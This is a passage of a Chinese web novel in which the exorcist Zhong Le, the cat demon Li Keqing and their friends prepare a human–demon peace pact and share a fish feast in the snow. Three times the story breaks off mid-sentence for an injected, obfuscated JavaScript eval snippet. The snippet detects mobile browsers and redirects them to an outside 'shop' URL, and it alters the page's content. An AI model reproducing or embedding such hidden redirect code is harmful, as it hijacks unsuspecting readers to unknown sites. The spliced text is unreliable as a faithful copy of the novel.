“什么都没有!伤口包扎好了!”李刻青硬邦邦的回顶道,继而转身,飞快的走出木屋。 他不知道为什么,但是自己的耳朵也开始发热,或许还发了红,他只知道,绝不能让她看到。 钟乐拉起衣服,虽然不处理也没事,但处理过后,还是干爽舒服了许多的。 她捧着脸,开始冥思苦想,到底要如何才能找到像息竹那样的妖。 “对了!”半晌之后,钟乐眼前一亮。 她有办法了! 她不行,但是有人或许可以! 想到就干,她立马推开木屋门:“我又要走了,这次可能时间会久一些……” 她顿住了,木屋外用藤条编织成的吊床上,白猫安稳的卧着,双眼紧闭,打着它特有的安详呼噜声,已经睡着了。 其实,有这么一只小妖在这里,也挺好的。 她好像不再是一个人,蓬莱岛不只是一个孤零零的地方,而是变得像一个家。 有了一盏晚归时温暖的小灯,有了一罐熬的咕嘟冒泡的鲜香鱼汤,虽然小猫妖总是不情不愿,骂骂咧咧,但最后仍旧会自觉主动的洗掉他们两个人的碗。 钟乐走上前,轻轻摸了摸猫妖的头。 猫妖睡的很熟,丝毫没有醒来的迹象。 于是钟乐大胆了些,伸出手,放到了猫妖的肚子上。 柔软的、暖烘烘的肚子,还伴着呼噜一起一伏,手感真是太好了!钟乐爱不释手的上下摸了又摸,心想,怎么没有早点发现这么舒服的手感,下次回来,可得好好将这猫摸个够! “好了,走了。” 钟乐踏上剑,衣袂翻飞,在夜空中远去。 李刻青睁开眼,绿宝石般的眼睛中充满幽怨。 “傻货!”他咬牙切齿的将自己肚子上的毛舔整齐,猫妖的肚子是最敏感的地方,也是最薄弱的地方,是外人不能碰的禁忌,结果,钟乐这蠢货不仅碰了他的肚子,还摸了那么久! 还有他自己,更蠢,竟然就真的任她那么摸,毫无反抗,甚至还在装睡配合! 可是,她摸了,他却又好像……不全是愤怒。 他望着她越来越远的背影,叹了口气,这蓬莱岛,又剩他一个人了。 她要忙的事总是好多好多,他多希望她能够清闲下来,宁静而快乐的永远住在蓬莱岛。 但是,他也知道,她要做的事,是好的。 她在拯救他们一族,他希望她能够成功。 算了,今夜心绪烦乱,看来是睡不着了。 李刻青从吊床上一跃而起,去了杏林里,打算修炼修炼法术。 70. 第67章 这一次,钟乐离开了好久、好久。 蓬莱岛一下子变得很大、很空寂。 他种了很多棵杏树,用法力让它们快快生长。 第一个月,杏树抽出枝桠,绽出花苞。 第二个月,千万朵雪白的杏花绽放,十分烂漫。 第三个月,花朵开过了盛期,开始慢慢凋零。 第四个月,枝桠上结出青杏。 第五个月,杏子成熟,李刻青采摘一些洗了吃,明明是甜的,他却觉得十分酸涩。 第六个月,杏子掉落,再结鲜嫩的花苞,又是新的一轮轮回。 钟乐还是没有回来。 李刻青打算离开蓬莱了。 他轻轻关上木屋的门,收起他的吊床,背着一个小包袱,里面装着干粮。 这时,他看到一个熟悉的红衣身影从天上降落下来。 李刻青瞬间将包袱“嗖”一下丢到草丛中,却不料钟乐早已看见这一幕,笑吟吟的瞧他道:“怎么,要走?这里住的不高兴?” “还是说,你打算去找我?” “怎么可能!”李刻青怒道,“我只是……只是出岛放放风!” “好的,放风。”钟乐也不拆穿他,心想小妖还是挺有义气的。 不过,他法力低微,再加上现在的形式,他一旦离开这里,恐怕会有危险。 她说:“不管发生什么,你别轻易出岛,这里有我设的结界,若我不主动打开,别人是进不来的。” 李刻青十分受用的“嗯”了声。 但钟乐还是不完全放心,想了想,在他身上施了一个法术,掩去他的妖气。这样,以后他出门,一般的人几乎都无法看出他是妖。 李刻青十分满意的任她施完法,问道:“你这次出去那么久,都发生了些什么事?” 他说起这个,钟乐就来精神了:“炖鱼汤了吗?我们边喝边说。” 李刻青轻快的向溪水边奔去:“马上。” 今日天气格外冷,寒风呼啸。但小木屋中十分的温暖、温馨,火炉上咕嘟咕嘟煮着鱼汤,久违的香味中,钟乐只觉一身疲惫都扫去,绘声绘色的给李刻青讲述起这半年发生的事。 妖怪们如今听到她的名字便会退避三舍,她要找到想找的妖是十分困难的。 于是,她想到了另一个人。 楚欢。 当日钟乐不解楚欢为何要离开白帝城,而如今她完全懂得了。 将妖怪赶尽杀绝,并不是楚欢想要看到的。而如今,她们是同路人了。 钟乐虽会捏传音灵蝶,但由于她不知道楚欢的具体位置,灵蝶也就飞不到楚欢身边。 于是,她开始奔赴各地,寻找楚欢。 四处辗转,在第五个月的时候,有妖怪觉得她锲而不舍,便将她寻找楚欢的事告诉了楚欢,于是,楚欢主动来见她。 几年不见,钟乐觉得自己变了许多,但楚欢却仍旧和从前一样。 钟乐说,好久不见,你还活着,真好。 如今大大小小的妖怪,都与楚欢十分亲近,在天涯各地联结起了她的人脉网。于是对于钟乐错杀息竹一事,楚欢自然是知道的,也自然知道,最开始息竹伪装成了她的脸。 楚欢笑:“多谢你能将我放在心上。” 至于息竹,她眸中有悲伤,但捏碎妖丹是息竹自己的决定,她并不责怪钟乐。她反而很感激钟乐,最终愿意来帮助这些妖。 楚欢带着钟乐进了一片荒山,绕来绕去,最后来到了一个结界旁。楚欢打开结界,邀请钟乐进去。 “那里是一个小村庄,叫做风雪寨,现如今几乎所有的妖怪,都在那里避难。”钟乐说。 楚欢将一只九尾狐妖介绍给她,那妖名摇光,见了钟乐,眼神中有压抑不住的恨意。 钟乐对她说:“你想杀我。” 摇光并不否认,坦诚的说:“想千刀万剐。” “但是,我们愿意相信你,从今往后,我们愿听从你的任何吩咐。天师钟乐,谢谢你。” 钟乐让摇光杀死这里所有作恶的妖,只留下清白无辜的妖,摇光点头应允,果然毫不留情,将一些本性为恶的妖怪全部铲除。剩下的,全是一些眼神茫然、和蔼的良善之妖。 好像一切都很顺利,可李刻青却隐约有些不安。大概,是这一切太过于顺利了。 他问:“所以接下来怎么办?” 钟乐说:“白帝城盛产宝石,再过三个月,就是新一批宝石出矿的日子,届时,天下商贾名流都会云集在白帝城,许多百姓也会来白帝城,一睹名贵宝石的风采。那个时候,我会出面。” “你?” “不错,”钟乐说:“我为天师,世人对我还是很敬重的,届时我会带着摇光,在九龙台上与衡阳签订和平协议。约定人妖二族,从此各自约束,井水不犯河水。” 李刻青一听见衡阳的名字,就回忆起曾经的那些痛苦折磨。 这个人瞧着很正常,一点也不凶神恶煞,可他的手段却可怕的让人毛骨悚然。他恨妖入骨。李刻青不相信,他会答应钟乐。 “衡阳是个小人,不要信他!” 钟乐却摇摇头:“我倒觉得……他是真心的。” 当然,打动衡阳,钟乐很是花费了一番力气。 她离开风雪寨时正值深夜,本想着衡阳应该睡下了,她明日再找他。但不知为什么,下意识的,她还是来到白帝城,潜入衡阳所在的宫殿。 衡阳竟然没有睡,他在庭院中练剑。那把剑通体漆黑,与参商很是相像,但比参商更加的具有杀气。 令人眼花缭乱的一番招式过后,衡阳收起剑,也不看房顶,只是淡淡道:“天师夜访,可是有事?” 钟乐哈哈一笑,从屋顶上跳下来。 那日在角斗赛救走李刻青,钟乐可谓大拂了衡阳的面子,她本以为衡阳会很生气,但没想到他还是一如既往,唤她的声音仍旧十分恭敬。 “上次对不起了,衡阳,多谢你不计较。” 衡阳“嗯”一声。 “这次来,我的确是有事。” “我想结束一切——结束这么多年的仇恨,对峙,屠杀。” 衡阳沉默了很久,说:“我原本真的以为,看到角斗赛你会觉得欢喜,我将妖怪加在我们身上的苦难成倍的归还给他们。我也以为,你离开极地,看到如今的人间,会觉得我做的不错,并不逊色于当日的你。” 钟乐忙说:“你当然一点都不差,甚至从某个角度来看,你做的非常好、远好于我。” “曾经,我很渴望得到你的认可,可是如今你这样说了,我却并不觉得高兴。”衡阳负手而立,神色中有淡淡的苦涩。 “不是这样算的,衡阳。曾经我以为,我们胜过他们,杀光他们,将他们踩在脚底,我们就是赢家,可是后来我发现,在这场斗争与残杀中,人与妖,从来都没有赢家。我们死了这么多人,他们死了那么多妖,而这些,本来可以不必发生。我想结束这一切,真的,衡阳,为何我们生来就该仇杀,为何不能像极地一样,人与妖互相友爱,和平相处?” “可是我们已经赢了!”衡阳恨恨的说:“你要我在这个时候还他们地位与自由?” 钟乐苦笑:“是,我们赢了,可是……我并不觉得多么快乐。” “当初,我不该让你去极地的。”衡阳最终有些疲惫的说。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13423110|137687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他其实并不恨她,他只是太迫切了,迫切的想要成为她,甚至超越她,于是不可避免的,他变得小气,变得嫉妒。 他用并不光彩的手段提醒她,让她离开白帝城,去往极地。 可其实,极地从来都不是他的目标。 在她到达极地之前,他已经清楚的知道那是个怎样的地方,清楚的知道,那里的妖,对他们并不会有一丝一毫的威胁。 可是,他还是让她去了。 他急于脱离她,她的光环,她的声名,他想在她离开的日子里,让自己快速的变得和她一样。这样,等她回来的时候,他就不再是以仰视的目光、而是能平等的与她并肩而立了。更甚至,他可以超越她。 但他如今才发现,这是个多么错误的决定。 “衡阳,求你了。现如今天下无不敬重与信任你,我代表妖族陈情,你代表人族与摇光签订协议,确保永世不再互相残杀,永世太平,永世安康,这样不好吗?” “不要求我。” 钟乐一时有些反应不过来:“什么?” “不要求我,”衡阳有些苦笑的说,“其实,这本来就是你的。” 杀了妖帝的是她,屠了白帝城满城妖、让百姓安康的是她,若是没有她,今日人族还生活在妖族的欺压下,他估计还是个满心仇恨却又无能为力的毛头小子。没有她,又何来今日属于他的天地宗? “若天师执意如此,衡阳定当听从,尽心竭力,万死不辞。” 他说的很真诚,和当日半跪在她脚下时一样真诚,钟乐喜出望外的说:“衡阳,多谢你。” 衡阳却摇摇头:“只是,天师,我觉得你是无法成功的。此非一日之恨,也绝非一日能解。” 钟乐却说:“放心。” “放心。”钟乐对李刻青说,眼中光彩闪动,踌躇满志。 签订和平协议,不过一夕之间,但就是这一夕之间,却能改变很多事情。残余的妖怪们受摇光管束,不敢再生造次。衡阳也就此收手,人族放弃虐杀。 一夕之间,乾坤扭转,天地太平。 李刻青觉得不对,有哪里不对,可是,他什么都看不出来,只能闷声说:“不知道为什么,我也觉得,这是无法成功的。” 他不是仇恨衡阳么?这时反倒和衡阳站在一起了?钟乐失笑道:“那你就等着三个月之后吧,我会让一切都成功。” 她向来有自信,她是这世间最强,没有人能够打败她。她的确应该有自信,就算真的发生了变数,也逃脱不了她的掌控。 李刻青压下不安,选择相信她。 “嗯?这是什么?” “这个?”钟乐拂起腰间那枚平安扣的穗子,晃了晃说:“楚欢送我的,说是公冶在人间买来的小饰品,还挺好看的。” “哦。”李刻青把玩了一下这枚平安扣,见白玉温润细腻,没什么奇特之处,便打了个哈欠,索然无味的放下。 他懒洋洋道:“去睡觉了。” “哎?等等。”钟乐的笑容有些邪恶。 李刻青生出些不妙的预感。 “钟乐,你这个混蛋!!!” 片刻之后,李刻青悲愤的挣扎,但他未化出人形,一只体型小巧的猫,面对一个力大如牛的人,是没有半点还手之力的。 他从怒骂,到嗓子喊哑,再到心如死灰,眼神失去光彩。 而钟乐,双手肆意蹂躏着他柔软的肚皮,又捏又摸。 她实在是太馋了!没有人能拒绝一只猫的诱惑!从这一刻起,她决定彻底不将他当成人,这样就省去了所有的尴尬。 他是一只猫,是一只,生来就该被她所蹂躏的猫! 71. 第68章 钟乐多出了三个月的时间。 这三个月,大概是她人生中最自在的三个月。 她不再像幼时那样紧绷着修炼、满心满眼都是复仇,也不再像极地时那般颓然,失去了所有的目标。 她很平和,也很快乐,又还拥有美好的憧憬和期待。 当然,钟乐是快乐了,李刻青就不快乐了。她现在已经彻底不将他当人看待,每日闲暇时间,她煮一杯清茶,拿一本上次出门从外面带回来的话本子,以法力化为清风,翻动石桌上的话本子。 而两只手,则十分狂暴变态的蹂躏着她怀里的李刻青。 她一会儿用力往下撸他的头,一会儿爱不释手的握着他圆乎乎的爪子,一会儿又将它侧翻过来、暴露出肚皮,然后在柔软雪白的肚皮上又捞又捏。 李刻青一开始剧烈反抗、破口大骂,到了后来,或许是发现反抗没有用,他开始自暴自弃了。 钟乐摸他,抓他,他一动不动,状如死尸。 但是,没想到钟乐愈发的变态了。有一天,她悠然的躺在摇摇椅上,在太阳底下捻起李刻青的耳朵,细细打量。 过了一会儿她说:“你的耳朵真粉嫩。” 李刻青在温暖的阳光中,昏昏欲睡,也没在乎她到底说了什么。 又过了一会儿,钟乐说:“像是刚蒸出来的小小桃花酥。” 李刻青还是没在意,没有想到“桃花酥”这个词意味着什么。钟乐十分入迷的靠近又靠近,然后——李刻青猛地跳起来,惨叫一声,落荒而逃。 她咬他,她要吃掉他的耳朵!!! 这下,李刻青不敢回木屋了。钟乐是个变态,他绝不能落到她手里! 一连三天,他都待在他种的杏林中,晚上睡觉,就找一个高一些的枝桠,借着团团杏影挡住自己的身形。 第四天的时候,李刻青有些寂寞、有些耐不住气了。 这么久时间没摸他,难道她就不想念吗?怎么也不来找找他? 他决定回去看一看。 结果,他看到木屋中有一个陌生的男人,一袭青衫,背着一个大大的木箱子,言笑晏晏,气质温和。 这是谁? 李刻青抖抖耳朵,警觉的猫在窗外。 他的听力是很好的,不管是作为妖还是作为猫。可是,他却一点也听不清钟乐和这个人在说些什么。 这可真是太奇怪了,李刻青很是疑惑,这时,他发现那个男人微笑着向窗户这边看了一眼,好像是无心,但李刻青却瞬间反应过来了,他是有意! 这个人不知施了些什么奇奇怪怪的小法术,阻断了他听到他们的声音! 一只烟雾一样的白色蝴蝶翩翩飞出来,李刻青抬爪拨了两下,这蝴蝶被他打散,快速的氤氲开来。李刻青身边顿时弥漫开一大片浓重的白色雾气,他什么都看不见了。 看不见,也听不见,这个男人是故意的! 李刻青气的不知如何是好,想了一会,跑到门口,大摇大摆的走进去,坐在钟乐脚边。 可是,钟乐却不摸他了,就算他故意多躺了一会儿,露出她最爱摸的柔软肚皮,她也一动不动,就好像没有看到,只顾着和那个男人说话。 李刻青简直要气死了,他假装无所事事的离开木屋,可心里却已经恨恨的想着要将那个男人的脸抓烂! “这就是那天你救回来的妖?”木屋中,念念生笑眯眯的说,“它还不会化形吗?” 钟乐摆摆手:“应该会,但是它不愿意。” 可真是太险了,刚才她差点没忍住摸他,还好最后控制住了,若是被念念生知道她对猫妖这么变态的样子,就真是太丢脸了。 至于人形嘛,以前她挺想让他化,但现在她希望他一直不化,这样她就永远都不会将他想象成人了,他永远都是一只猫。 “他们快到了吗?” 钟乐看看时辰:“应该快了吧。” 话音刚落,门便再次被推开,只不过这次进来的不是白猫,而是笑吟吟的楚欢和公冶侯。还有摇光,她面无表情,看上去比他们二人要冰冷许多,但还是能感觉到,她的心情是愉悦的。 钟乐眼前一亮:“这不,刚说呢,你们就来了。” “这么久没见,你正式邀请我们来你家作客,怎么能不来呢?” 楚欢已经作了女子的打扮,看来公冶侯终于看破了她的伪装。上次在风雪寨比较匆忙,乍看之下,钟乐觉得她一点都没变。但此时细看,却又觉得她是有变化的,相较于三年前,变得更加坚定与豪迈,但眉眼间的纯真和善良一如既往。 “我们还带了两坛酒,今夜,让我们不醉不休!”楚欢取下身上那件鲛锦织成的大氅,公冶侯自然接过,拍去上面的雪花。 “咦,外面下雪了吗?”最近的天气也是奇怪,变幻不定,忽冷忽热。 “刚刚开始下呢,也不大,不过若落上一夜,明早起来恐怕会积上厚厚一层白雪。” 钟乐笑说:“那也好,反正你们也没什么事,不急着走。” “是啊,”楚欢感叹,“最近真的是清闲了。” 三个月之后,人妖二族的和平协议签订,一切便将尘埃落定,他们再也不用四处奔波。从此,白雪再也不会落在鲜血上,而是落在每一寸平安祥瑞的人间大地。 人多起来,屋里就有了生气。钟乐用法术让小火炉燃的十分旺盛,楚欢待了一会儿直嚷着太热,念念生自告奋勇,捏了一只水灵灵的蓝色蝴蝶,公冶侯跟着他学,两人捏了许多只和水一样剔透的蓝色蝴蝶,屋里顿时凉快了许多。 夜幕渐渐降临,屋内火焰张扬,水蝶晶莹,有种异样的反差之美。 几人谈笑风生,过了一会儿后,摇光说:“饿了。” 她的口气颇生硬,有种命令之感,但钟乐倒觉得这恰恰是摇光与他们亲近起来的表现。作为主人,她也自然得好好招待客人,钟乐起身道:“等着,我去做饭。” 念念生叹了口气,楚欢奇道:“怎么了,念念生?” “她去做饭嘛……”念念生想起当日的黄瓜拌萝卜,再度摇了摇头,“要不,大家凑合凑合,吃我的草药得了。” 钟乐怒道:“士别三日当刮目相待,我的厨艺早已经大有长进!” 公冶侯很好心的支持她:“大家别这样说,我也觉得阿乐肯定今非昔比了。” 好说歹说,念念生终于勉强相信她,于是钟乐迈着自信的步伐,进入了厨房。 然后,她开始疯狂的寻找李刻青。 她的厨艺当然没有长进,但不过,她养了一只厨艺十分不错的猫。 但是,找了半天,钟乐还是没有找到他去了哪里。 钟乐急了,客人们就等着呢,她可不能露馅! 她开始细细捕捉空气中的妖气,循着妖气,出发追踪李刻青。 而正当钟乐寻找李刻青的时候,木屋的门被嘎一声推开,一个人踏雪而来,绯红衣袍,背负黑剑。大家差点要以为他就是钟乐了。不过,念念生还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13434803|137687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是很快反应过来:“宗、宗主?你来了?” “嗯。”衡阳拂去肩头雪花,淡淡应了一声。 然后,气氛就变得十分诡异且尴尬。 楚欢与公冶侯疯狂的进行眼神交流:阿乐请了他?没有吧? 公冶侯挠头:应该没有吧! 楚欢抓狂:那他为什么来了啊! 另一边,念念生不知道该干什么,十分尴尬的将他的药箱打开又关上,关上又打开。衡阳是天地宗之主,而他自斩妖司更改为天地宗后,就成为天地宗的医师。可以说,衡阳是他的顶头上司。 一开始念念生还是比较喜欢衡阳的,他有手段,有魄力,敢作敢为,可是后来,衡阳对妖怪们实在太残忍,念念生看不过去了,顶撞几句,与衡阳发生了分歧。 自那之后,二人的关系就十分冷淡了,除了一些人前的官话,私下里,二人就再无交流。 今日撞在一起,实在是不知如何是好。 想笑一笑化解宿怨吧,毕竟衡阳已经答应放了那些深受折磨的妖怪们,但闹僵太久了,骤然之间,笑也笑不出来。 而摇光,自衡阳进来的刹那,就满脸仇恨的死死盯着他。衡阳也冷冷的瞥了摇光一眼,楚欢真怕一个不小心,他们就打起来。 但还好,他们并未真的动手,木屋之中的气氛虽诡异,但诡异之中,又维持着一种微妙的平衡。 而此时,钟乐循着妖气,走入了那片杏林中。 雪越落越大,厚厚一层白雪将杏树覆盖起来,但杏花的香味却显得更加馥郁了。 “李刻青?李刻青!”钟乐在松软的白雪上踩出一个又一个脚印。 无人应答。 明明妖气就徘徊在这片杏林中,可这家伙怎么不说话? “李刻青!” 钟乐进入杏林深处。 一支伸展的枝桠上,坐着一个唇红齿白的翩翩少年郎,一眨也不眨眼的盯着她瞧,带有几分不屑和傲气。一阵寒风刮过,吹得他的发带翻飞。 “李刻青!” 钟乐盘算着今晚可绝不能丢了面子,绕过这少年郎,继续呼唤猫妖。 但走了几步,她觉得身后目光灼灼,盯的她不能不回头。 这下,她一拍脑袋,恍然大悟了! 刚刚竟如梦游一般,丝毫未思考,脑袋未转弯。她瞧着这少年郎:“猫妖?!” 这少年郎懒洋洋的伸个懒腰,从树上跳下来,青色的发带和衣袂齐飞,很是潇洒飘逸。钟乐忽然发觉他这身打扮很像念念生,甚至就是模仿了念念生。 她忍笑道:“你的人形,很好看。” “只是怎么偏偏这时候化形?”在她已经彻底将他当成一只猫的时候。 李刻青负手而行:“少管。” 他在尽力装作矜持与淡然,可是,忍不住弯弯翘起的唇角还是出卖了他。 看来,不管是人是妖,都是喜欢夸奖的。钟乐再接再励:“不过说真的,你的人形,真是越看越好看。” “你见过的所有人中最好看吗?” 钟乐沉吟一下,李刻青皱眉。 钟乐立马说:“自然,自然!” 李刻青的眉头这才舒展开。他大概很久没有化过人形了,乍一变作人,还是没有摆脱那种“猫气”,走路时优雅慵懒,身姿轻盈,有时遇到地上有树枝,还会和猫一样,脊背弓起,跳跃过去。 “找我有什么事?” 嘿嘿,钟乐说:“小忙,小忙。” 72. 第69章 雪已经落了厚厚一层,平日里他们捕鱼的小溪,也结了冰。 钟乐说:“这个无妨,我到水里去捉。” “好,”李刻青说,“要一条鲈鱼,两条鳕鱼,三条黑鱼,四条鲫鱼,五条鲢鱼……” 等等等等,钟乐听的头昏脑涨:“这条小溪中真的生活着那么多种鱼吗?海鱼河鱼,也都生活在一起?” 李刻青:“自然,你听我的就是了。” 他说是那就是吧,可是,还有一个问题,钟乐并不认识这么多种类的鱼,她说:“要不,你来捉?” 李刻青一脸无辜:“我不会憋气。” 钟乐:“你不是妖吗?设个结界啊。” 李刻青理直气壮:“法力太弱,设不了。” 钟乐带着他去捉鱼。 水下的世界很静谧,流光溢彩的结界撑开在两人周围,透过结界,钟乐看到各种各样的鱼儿,有的银白,有的黢黑,有的细长,有的粗大,还有的,如拇指一般大小,闪着绿色的幽光,成群结队的从他们身边游过,十分瑰丽梦幻。 李刻青看到有他想要的鱼,就指挥钟乐游过去,他将鱼捞进来。结界越来越向下,钟乐眨眨眼,竟看到了一簇又一簇艳丽鲜艳的珊瑚丛,一只只胖乎乎的、像灯笼一样的鱼儿摇头摆尾,在珊瑚丛间嬉戏,不时吐出一个小泡泡。 她再向周围望,只见原本十分清浅细窄的小溪,此时向四面八方延伸,变成了浩瀚无边的海洋。月光洒落,在海面折射出朦胧的金色光华,隐约间,还能听到鲛人动人的歌声。 “你会织幻?” 李刻青笑眯眯:“曾经遇到过一只蜃妖,和她学的。”他是有心展示,钟乐虽强,但她未必会这些奇奇怪怪、十分有趣的小法术。 果然,钟乐十分赞叹的说:“真厉害!” 虽是幻境,但也十分逼真。在静谧幽深的水底,两人逗弄着各种鱼儿,学着鲛人放声歌唱,又用幻化出的琉璃瓦搭建金碧辉煌的房子,还用柔软的黑泥捏造了几个小娃娃,点上鼻子和眼睛,让他们住在房子里……钟乐玩的不亦乐乎,仿佛又回到了孩童时。 这时,一只只萤火虫从下方飘起来,顿时,水中萤火漫漫,如同在天上一般。 钟乐愣了一下。 “怎么了?”李刻青发现了她的不对劲。 钟乐摇摇头:“没事,只是想起了一只妖。” “什么妖?” “一只鸟族妖物。有时我想起他,觉得他很是可怜,他其实就是一个孩子。”就像清灏那时对她说的,她不过是个孩子,现在她回想起来,宣离也不过是个孩子。 “哦。”李刻青别扭的应一声,显然不怎么乐意。 钟乐笑道:“其实你和他很像,也是个孩子。” 可是,李刻青却显然不喜欢这话,他冷着脸说:“走。” 顷刻间幻境破灭,又变成了平平无奇的小溪。 李刻青走的很快,钟乐不得不小跑着跟住他。她觉得,孩子果真就是孩子。 听到别人夸他好看,会不自觉欢喜,学会某种小法术,会骄傲的向人展示,他们的一举一动,一言一行,无不幼稚如孩童,可是,他们又偏偏不喜欢别人说自己是孩子。 偷偷溜到厨房,钟乐立马开始准备晚饭。 洗菜,切菜,烧火,她打下手,忙的不亦乐乎。 而李刻青这位主厨,则满脸自信从容,一看就让人很放心。只是,他的态度并不是很好,好像还在为刚才的事生闷气。 钟乐洗菜,他说:“不干净,还脏。” 钟乐切菜,他说:“笨手笨脚,切的真丑。” 钟乐烧火,他说:“太大。”钟乐控制火稍微变小一点点,他立马又说:“小了。”钟乐纳闷的抹把脸,觉得他是在故意挑刺。 结果没想到,她烧火太过投入,蹲在一旁,被熏的满脸黑烟。这样一擦,霎时变成了一个花脸猫。李刻青到底忍不住,被逗笑了。 好一番锅碗瓢盆的敲打之后,厨房里终于飘出令人心醉的香味。 钟乐搓搓手,双眼闪闪发亮:“这下,他们可不能小看我了。” 不过,她又一皱眉。 李刻青好整以暇的抱臂:“怎么了?”他对自己很自信,觉得她是挑不出来毛病的。 这满满一桌子菜,色香味俱全,可是…… 钟乐:“……怎么全是鱼???” 清蒸鲈鱼,红烧鲤鱼,香煎带鱼,芙蓉蒸鱼,鱼丸汤,桂花鱼,炖鱼尾……她身边又恰有一只猫妖,可不叫人一眼就看出来这桌饭是猫妖做的吗!钟乐说:“这不行。” 李刻青想了想:“那我再做道别的。” “好好好,快做点别的。”钟乐可不想被念念生他们嘲笑。 猫妖也不知何时磨了一袋面粉,钟乐洗手和面,猫妖在一个个小面团里裹上豆沙、蜜糖、花生碎末,两面刷上金黄的酥油,开始做点心。只是,等到点心出锅的时候,钟乐又崩溃了:“这怎么都是——鱼的形状!!!” 李刻青理直气壮:“可这是点心呀,并不是鱼!” 钟乐:“……” 她觉得无法解释,猫妖对鱼的迷恋已经深入骨髓了,甚至他自己都未察觉。 “行了,走吧走吧。”钟乐呻吟一声,指尖一转,一盘盘鱼开始跟着她飘走。 “开饭了。”钟乐尽可能一脸淡定。 念念生首先拿起筷子,尝了一口,眼前一亮:“不错啊!” 可是,他很快发现了问题,这满满一桌,没有一样离开了鱼的,就连唯一的那盘面点,也都是一枚枚小鱼儿的形状。 念念生恨铁不成钢的叹了口气。 钟乐不尴不尬,反而一脸理直气壮。反正她决定了,打死不认这是李刻青做的,这就是她自己做的! 她招呼其他人:“大家快来吃。” 摇光和公冶侯欣然的沉浸在美食中了,楚欢一把拉过钟乐,小声说:“他怎么来了!” 她指的是衡阳,钟乐小声说:“是我请了他。” 楚欢不喜欢衡阳,这几年,她可是亲眼见识了他的手法有多么阴毒,她说:“你请他干什么呀?” 钟乐说:“可他答应了我们,他现在也算是我们的朋友吧。” 这其实也是。只是对一个人的印象,不是那么轻易就改的过来的。楚欢哼一声:“我尽量,从今往后将他当朋友看待。” 虽是全鱼宴,但其实菜色并不单一。李刻青将每一条鱼的味道都发挥到了极致,有的细腻甘甜,有的韧劲十足,有的辛辣入味,有的酸爽可口……大家都沉浸到了其中,尽管房间并不热,但仍是满头大汗。 公冶侯放下筷子,不好意思的打个嗝:“真是好久都没吃有的这么尽兴了。” 楚欢笑眯眯:“那再多吃一点。”她的饭量没有公冶侯那么大,每样鱼都动几筷子,几乎也就饱了。但看公冶侯吃的多,她很高兴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13445727|137687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 念念生擦擦嘴,虽然他知道这并非出自钟乐之手,但此刻他只想说,好吃就完了,其余管它的!他拍拍猫妖的肩,连说:“不错,不错。” 他觉得,小猫妖若是愿意的话,从今以后可以跟在他身边,他将自己的医术教给小猫妖,而作为回报嘛,小猫妖每天给他做饭就可以了。 只是,李刻青好像并不喜欢他的样子,嗖一下化作白猫,离开他,蹲到炉火边去了。 这是…… 念念生好笑的想,先前用雾蝶和隔音之术和它玩耍了一下,但没想到这小妖记仇呢! 这时,摇光也吃饱了,满意的将筷子一放。 楚欢将她带来的两坛酒搬过来:“来来来,吃饱了,现在可以喝酒了!” 酒坛一开封,便瞬间酒香四溢。倒一杯饮入喉中,只觉芳香甘醇,回味无穷。 喝着喝着,大家都有些醉醺醺,笑闹着玩起了游戏。 钟乐捉一只蓝色的水蝶,扔到楚欢头上,将她的头发淋湿。 楚欢叫道:“岂有此理!”连忙也捉住一只砸向钟乐,却被钟乐灵巧的躲过了。 这下楚欢可不依了,怒冲冲的又捉了好几只扔过去,但都被钟乐躲过。楚欢十分不甘心,钟乐则得意的哈哈大笑。 但没想到,砰的一声,竟是一只沉甸甸的大水蝶在她头顶炸开,淋得她满脸水花。钟乐转头,怒道:“摇光!” 摇光说:“我自然是帮着她了。”和楚欢相视一笑,二人击掌。 很快,念念生和公冶侯也加入战斗,大家脑洞大发,按照自己心意,捏出各种大小和色彩不一的蝴蝶,指挥着它们飞来飞去,或是直接用手投掷,来砸人。它们有的带水,有的带火,更有的,看上去灵光闪闪、十分美丽,但其实,是由辣椒面捏成,一旦吸入,呛的人不住咳嗽、泪花连连。 打着打着,队伍分成两批。 楚欢、摇光、公冶侯为一队。钟乐和念念生为一队。 木屋里显然太过狭小,他们去了外面,这下有了更宽广的天地,他们不受束缚,更加放得开了。 他们捏出足有几丈宽的蝴蝶,用法力驾驭它们飞起,在空中互相对打,乐此不疲。 李刻青卧在炉火边,火焰温暖的烤着他的皮毛,舒服的他打起呼噜。 外面不时传来快乐的大笑声,他心想:还说他是孩子,他们才是孩子! 这时,他发现衡阳负手站在门口,满腔心事的看着外面那几个人。 从一开始,衡阳就好像不是很高兴。 李刻青有心问他怎么了,可想了想,炉火这么温暖,他懒得起来,并且,他也并不是很喜欢衡阳。于是,他懒洋洋的继续卧着,有一搭没一搭,还会小憩一下。 